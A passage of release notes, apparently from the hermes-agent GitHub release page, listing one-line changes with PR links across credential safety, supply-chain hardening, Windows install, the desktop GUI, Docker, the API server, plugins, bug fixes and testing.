<h3>Credential safety</h3>
<ul>
<li>Avoid persisting borrowed credential secrets — runtime env-sourced keys no longer leak into <code>auth.json</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/31416" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31416/hovercard">#31416</a>)</li>
<li>Validate Nous Portal <code>inference_base_url</code> against host allowlist. (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/27612" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27612/hovercard">#27612</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30611" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30611/hovercard">#30611</a>)</li>
<li>Harden API server key placeholder handling. (<a href="https://github.com/NousResearch/hermes-agent/pull/30738" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30738/hovercard">#30738</a>)</li>
<li>Harden Google Chat OAuth credential persistence. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Zyrixtrex/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Zyrixtrex">@Zyrixtrex</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/24788" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/24788/hovercard">#24788</a>)</li>
<li>xAI OAuth: pin inference <code>base_url</code> to x.ai origin. (<a href="https://github.com/NousResearch/hermes-agent/pull/28952" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28952/hovercard">#28952</a>)</li>
<li>Quarantine dead OAuth tokens on terminal refresh failure (xAI, Codex, MiniMax). (<a href="https://github.com/NousResearch/hermes-agent/pull/28116" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28116/hovercard">#28116</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28118" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28118/hovercard">#28118</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/28119" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28119/hovercard">#28119</a>)</li>
</ul>
<h3>Supply-chain</h3>
<ul>
<li><strong>On-demand supply-chain audit via OSV.dev</strong> — <code>hermes audit</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/31460" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31460/hovercard">#31460</a>)</li>
<li><code>hermes update</code> syntax-validates critical files post-pull, auto-rollback on failure. (<a href="https://github.com/NousResearch/hermes-agent/pull/28669" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28669/hovercard">#28669</a>)</li>
<li>Quarantine <code>hermes.exe</code> vs concurrent Windows instance. (<a href="https://github.com/NousResearch/hermes-agent/pull/26677" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26677/hovercard">#26677</a>)</li>
</ul>
<h3>Other hardening</h3>
<ul>
<li>Restrict default webhook toolset capabilities. (<a href="https://github.com/NousResearch/hermes-agent/pull/30745" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30745/hovercard">#30745</a>)</li>
<li>Harden Microsoft Graph webhook auth requirements. (<a href="https://github.com/NousResearch/hermes-agent/pull/30169" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30169/hovercard">#30169</a>)</li>
<li>Require source CIDR allowlisting for public msgraph webhook binds. (<a href="https://github.com/NousResearch/hermes-agent/pull/33722" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33722/hovercard">#33722</a>)</li>
<li>Require <code>API_SERVER_KEY</code> before dispatching API server work. (<a href="https://github.com/NousResearch/hermes-agent/pull/33232" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33232/hovercard">#33232</a>)</li>
<li>env_passthrough: apply GHSA-rhgp-j443-p4rf filter to config.yaml path. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roadhero/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roadhero">@roadhero</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27794" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27794/hovercard">#27794</a>)</li>
<li>Dashboard + WeCom: restrict markdown link schemes; safe-parse untrusted XML. (<a href="https://github.com/NousResearch/hermes-agent/pull/32442" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32442/hovercard">#32442</a>)</li>
<li>Salvage project-plugin RCE bypass fix from PR <a href="https://github.com/NousResearch/hermes-agent/pull/29311" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29311/hovercard">#29311</a> (GHSA-5qr3-c538-wm9j). (<a href="https://github.com/NousResearch/hermes-agent/pull/30837" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30837/hovercard">#30837</a>)</li>
<li>Cross-profile soft guard on file-write tools + system-prompt hint. (<a href="https://github.com/NousResearch/hermes-agent/pull/31290" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31290/hovercard">#31290</a>)</li>
<li>Reject unsafe tar members in Android psutil compatibility installer. (<a href="https://github.com/NousResearch/hermes-agent/pull/33742" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33742/hovercard">#33742</a>)</li>
<li>Reject non-regular tar members during tirith auto-install. (<a href="https://github.com/NousResearch/hermes-agent/pull/33786" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33786/hovercard">#33786</a>)</li>
</ul>
<hr>
<h2>🪟 Native Windows (Beta Continued)</h2>
<ul>
<li>Thin desktop installer + first-launch <code>install.ps1</code> bootstrap. (<a href="https://github.com/NousResearch/hermes-agent/pull/27822" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27822/hovercard">#27822</a>)</li>
<li>Complete Windows bootstrap — <code>dep_ensure</code> + <code>install.ps1</code> + detection. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27845" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27845/hovercard">#27845</a>)</li>
<li><code>install.ps1</code>: strip BOM, <code>-Commit</code>/<code>-Tag</code> pin params, harden git ops. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/28169" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28169/hovercard">#28169</a>)</li>
<li>Consolidate ACP browser bootstrap into <code>install.{sh,ps1}</code>. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27851" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27851/hovercard">#27851</a>)</li>
<li><code>hermes update</code> quarantines live <code>hermes.exe</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/26677" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26677/hovercard">#26677</a>)</li>
<li>Discord voice opus decoding on Windows. (<a href="https://github.com/NousResearch/hermes-agent/pull/33182" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33182/hovercard">#33182</a>)</li>
<li>Windows Docker Desktop compatible compose file. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sunil123135/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sunil123135">@Sunil123135</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/31031" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31031/hovercard">#31031</a>)</li>
</ul>
<hr>
<h2>🖼️ Hermes Desktop GUI</h2>
<ul>
<li><code>hermes gui</code> launcher — install + build + launch packaged Electron app. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30165" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30165/hovercard">#30165</a>)</li>
<li>Desktop UI lift. (<a href="https://github.com/NousResearch/hermes-agent/pull/27227" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27227/hovercard">#27227</a>)</li>
<li><code>nix</code> package <code>.#desktop</code>. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/28964" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28964/hovercard">#28964</a>)</li>
<li>Hardened Slack socket recovery + Windows desktop restart dedupe. (<a href="https://github.com/NousResearch/hermes-agent/pull/28873" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28873/hovercard">#28873</a>)</li>
<li>Web dashboard: migrate checkboxes to <code>@nous-research/ui</code> + design-system polish. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/28814" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28814/hovercard">#28814</a>)</li>
<li>Web dashboard: collapsible sidebar. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33421" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33421/hovercard">#33421</a>)</li>
<li>Dashboard typography &amp; contrast pass. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/28832" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28832/hovercard">#28832</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30714" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30714/hovercard">#30714</a>)</li>
<li>Skills page: lazy-fetch catalog instead of bundling 34MB into JS. (<a href="https://github.com/NousResearch/hermes-agent/pull/33809" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33809/hovercard">#33809</a>)</li>
</ul>
<hr>
<h2>🐳 Docker</h2>
<ul>
<li><strong>s6-overlay container supervision</strong> — abstract <code>ServiceManager</code> protocol (systemd/launchd/Windows/s6 backends), per-profile gateway supervision in-container, container-restart reconciliation, hadolint/shellcheck CI. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/30136" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30136/hovercard">#30136</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/31760" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31760/hovercard">#31760</a>)</li>
<li>Auto-redirect <code>gateway run</code> to supervised mode inside the s6 image. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33583" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33583/hovercard">#33583</a>)</li>
<li>Tee supervised gateway stdout to docker logs. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33621" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33621/hovercard">#33621</a>)</li>
<li>Drop <code>docker exec</code> to hermes uid before invoking the CLI. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33628" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33628/hovercard">#33628</a>)</li>
<li>Align HOME for dashboard and s6 gateway services. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Dusk1e/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Dusk1e">@Dusk1e</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33481" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33481/hovercard">#33481</a>)</li>
<li>Bake build-time git SHA into image so <code>hermes dump</code> reports it. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33655" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33655/hovercard">#33655</a>)</li>
<li><code>hermes update</code> prints <code>docker pull</code> guidance instead of bogus git error. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33659" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33659/hovercard">#33659</a>)</li>
<li>Upgrade Node to 22 LTS via multi-stage from <code>node:22-bookworm-slim</code>. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33060" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33060/hovercard">#33060</a>)</li>
<li>Drop <code>build-essential</code> from apt install. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33028" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33028/hovercard">#33028</a>)</li>
<li>Propagate env through s6 to cont-init and main CMD. (<a href="https://github.com/NousResearch/hermes-agent/pull/32412" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32412/hovercard">#32412</a>)</li>
<li>Targeted chown to preserve host file ownership in <code>HERMES_HOME</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/33033" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33033/hovercard">#33033</a>)</li>
<li><code>mkdir HERMES_HOME</code> as root in stage2 before chown / privilege drop. (<a href="https://github.com/NousResearch/hermes-agent/pull/33078" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33078/hovercard">#33078</a>)</li>
<li>chown <code>ui-tui</code> and <code>node_modules</code> on UID remap so TUI esbuild works. (<a href="https://github.com/NousResearch/hermes-agent/pull/33045" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33045/hovercard">#33045</a>)</li>
<li>Include <code>anthropic</code>, <code>bedrock</code>, <code>azure-identity</code> extras in image. (<a href="https://github.com/NousResearch/hermes-agent/pull/30504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30504/hovercard">#30504</a>)</li>
<li>Stop pushing per-commit SHA tags to Docker Hub. (<a href="https://github.com/NousResearch/hermes-agent/pull/29387" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29387/hovercard">#29387</a>)</li>
<li>Simplify Docker tagging — push both <code>:main</code> and <code>:latest</code> on main push. (<a href="https://github.com/NousResearch/hermes-agent/pull/33225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33225/hovercard">#33225</a>)</li>
<li>Test slicing across GH actions jobs. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/30575" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30575/hovercard">#30575</a>)</li>
<li>Discover agent-browser Chromium binary at boot. (<a href="https://github.com/NousResearch/hermes-agent/pull/33184" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33184/hovercard">#33184</a>)</li>
</ul>
<hr>
<h2>🌐 API Server</h2>
<ul>
<li><strong>Session control API</strong> — <code>/api/sessions/*</code> (list/create/read/patch/delete/fork) + SSE-streaming chat. (salvages <a href="https://github.com/NousResearch/hermes-agent/pull/29302" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29302/hovercard">#29302</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Codename-11/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Codename-11">@Codename-11</a> + multimodal followup by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Schwartz10/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Schwartz10">@Schwartz10</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33134" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33134/hovercard">#33134</a>)</li>
<li><code>GET /v1/skills</code> and <code>/v1/toolsets</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/33016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33016/hovercard">#33016</a>)</li>
<li>Coerce stringified booleans in stream/store/approval payloads. (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/26639" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26639/hovercard">#26639</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27293" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27293/hovercard">#27293</a>)</li>
<li>Honor <code>key_env</code> in auth-failure fallback resolution. (<a href="https://github.com/NousResearch/hermes-agent/pull/30840" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30840/hovercard">#30840</a>)</li>
</ul>
<hr>
<h2>🎟️ ACP (VS Code / Zed / JetBrains)</h2>
<ul>
<li>Session edit auto-approval modes. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/27034" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27034/hovercard">#27034</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27862" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27862/hovercard">#27862</a>)</li>
<li>Enrich Zed permission cards — command in title + <code>reject_always</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/28148" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28148/hovercard">#28148</a>)</li>
<li>Replay session history before responding to <code>session/load</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/26957" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26957/hovercard">#26957</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/26943" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26943/hovercard">#26943</a>)</li>
<li>Plugin-transformed final_response delivered through streaming gate. (<a href="https://github.com/NousResearch/hermes-agent/pull/31433" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31433/hovercard">#31433</a>)</li>
</ul>
<hr>
<h2>🔌 Plugin Surface</h2>
<ul>
<li><code>register_tts_provider()</code> plugin hook. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/30420" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30420/hovercard">#30420</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/31745" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31745/hovercard">#31745</a>)</li>
<li><code>register_transcription_provider()</code> hook + <code>stt.providers</code> command-provider registry. (salvage of <a href="https://github.com/NousResearch/hermes-agent/pull/30493" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30493/hovercard">#30493</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/31907" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31907/hovercard">#31907</a>)</li>
<li><code>register_auxiliary_task()</code> in PluginContext API. (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/29817" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29817/hovercard">#29817</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/31177" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31177/hovercard">#31177</a>)</li>
<li>Bundled <code>security-guidance</code> plugin. (<a href="https://github.com/NousResearch/hermes-agent/pull/33131" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33131/hovercard">#33131</a>)</li>
<li>Discord and Mattermost migrated to bundled plugins. (<a href="https://github.com/NousResearch/hermes-agent/pull/30591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30591/hovercard">#30591</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/31748" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31748/hovercard">#31748</a>)</li>
<li>ntfy as platform plugin. (<a href="https://github.com/NousResearch/hermes-agent/pull/30867" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30867/hovercard">#30867</a>)</li>
<li>Surface category-namespaced plugins in <code>hermes plugins list</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/27187" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27187/hovercard">#27187</a>)</li>
<li>Plugin discovery failures raised to WARNING level. (<a href="https://github.com/NousResearch/hermes-agent/pull/28318" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28318/hovercard">#28318</a>)</li>
<li><code>hermes_plugins</code> included in gateway.log component filter. (<a href="https://github.com/NousResearch/hermes-agent/pull/28313" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28313/hovercard">#28313</a>)</li>
<li>Seed plugin extras before <code>is_connected</code> gate. (<a href="https://github.com/NousResearch/hermes-agent/pull/31703" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31703/hovercard">#31703</a>)</li>
<li>Dashboard: allowlist plugin assets + denylist subprocess-influencing env vars. (<a href="https://github.com/NousResearch/hermes-agent/pull/32277" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32277/hovercard">#32277</a>)</li>
</ul>
<hr>
<h2>📦 Distribution &amp; Install</h2>
<ul>
<li>Install-method stamping + Docker detection. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27843" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27843/hovercard">#27843</a>)</li>
<li>Nix <code>#messaging</code> and <code>#full</code> package variants. (<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/33108" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33108/hovercard">#33108</a>)</li>
<li>Pre-load messaging gateway deps via <code>--extra messaging</code>. (salvage <a href="https://github.com/NousResearch/hermes-agent/pull/26394" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/26394/hovercard">#26394</a>) (<a href="https://github.com/NousResearch/hermes-agent/pull/27558" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27558/hovercard">#27558</a>)</li>
<li>Avoid piping installer directly into <code>iex</code> (Windows). (<a href="https://github.com/NousResearch/hermes-agent/pull/28347" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28347/hovercard">#28347</a>)</li>
<li>Ship bundled skills in wheel. (<a href="https://github.com/NousResearch/hermes-agent/pull/28421" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28421/hovercard">#28421</a>)</li>
<li>Ship dashboard plugin assets in wheel. (<a href="https://github.com/NousResearch/hermes-agent/pull/28406" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28406/hovercard">#28406</a>)</li>
<li>Make Camofox lazy-installed instead of eager. (<a href="https://github.com/NousResearch/hermes-agent/pull/27055" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/27055/hovercard">#27055</a>)</li>
<li>Wire STT lazy-install into transcription_tools.py. (<a href="https://github.com/NousResearch/hermes-agent/pull/30256" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30256/hovercard">#30256</a>)</li>
</ul>
<hr>
<h2>🐛 Notable Bug Fixes (highlights only)</h2>
<ul>
<li>Match bare custom provider by active base URL in <code>hermes model</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/28908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28908/hovercard">#28908</a>)</li>
<li>Route <code>auxiliary.vision.provider=openai</code> to api.openai.com, skip text-only main. (<a href="https://github.com/NousResearch/hermes-agent/pull/31452" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/31452/hovercard">#31452</a>)</li>
<li>Lint: skip per-file shell linter when LSP will handle the file. (<a href="https://github.com/NousResearch/hermes-agent/pull/29054" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/29054/hovercard">#29054</a>)</li>
<li>Treat empty credential pool entries as unauthenticated in <code>/model</code> picker. (<a href="https://github.com/NousResearch/hermes-agent/pull/28312" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28312/hovercard">#28312</a>)</li>
<li>Reverted within window: Firecrawl integration tag, send_message @username auto-mentions, Telegram quick-command-only menus, Telegram pin-on-turn.</li>
</ul>
<hr>
<h2>🧪 Testing</h2>
<ul>
<li>Disarm lazy-install probe so <code>_HAS_FASTER_WHISPER</code> patches work. (<a href="https://github.com/NousResearch/hermes-agent/pull/30334" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30334/hovercard">#30334</a>)</li>
<li>Cover default board dashboard pin. (<a href="https://github.com/NousResearch/hermes-agent/pull/28361" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28361/hovercard">#28361</a>)</li>
<li>Cover <code>_task_dict</code> <code>task_age</code> fallback. (<a href="https://github.com/NousResearch/hermes-agent/pull/28365" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/28365/hovercard">#28365</a>)</li>
<li>Allowlist <code>tmp_path</code> for <code>kanban_notify</code> artifact delivery tests. (<a href="https://github.com/NousResearch/hermes-agent/pull/30851" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30851/hovercard">#30851</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/30852" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/30852/hovercard">#30852</a>)</li>
<li>Cover null output stream terminal events in Codex. (<a href="https://github.com/NousResearch/hermes-agent/pull/33137" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/33137/hovercard">#33137</a>)</li>
</ul>
<hr>
<h2>📚 Documentation</h2>
<ul>
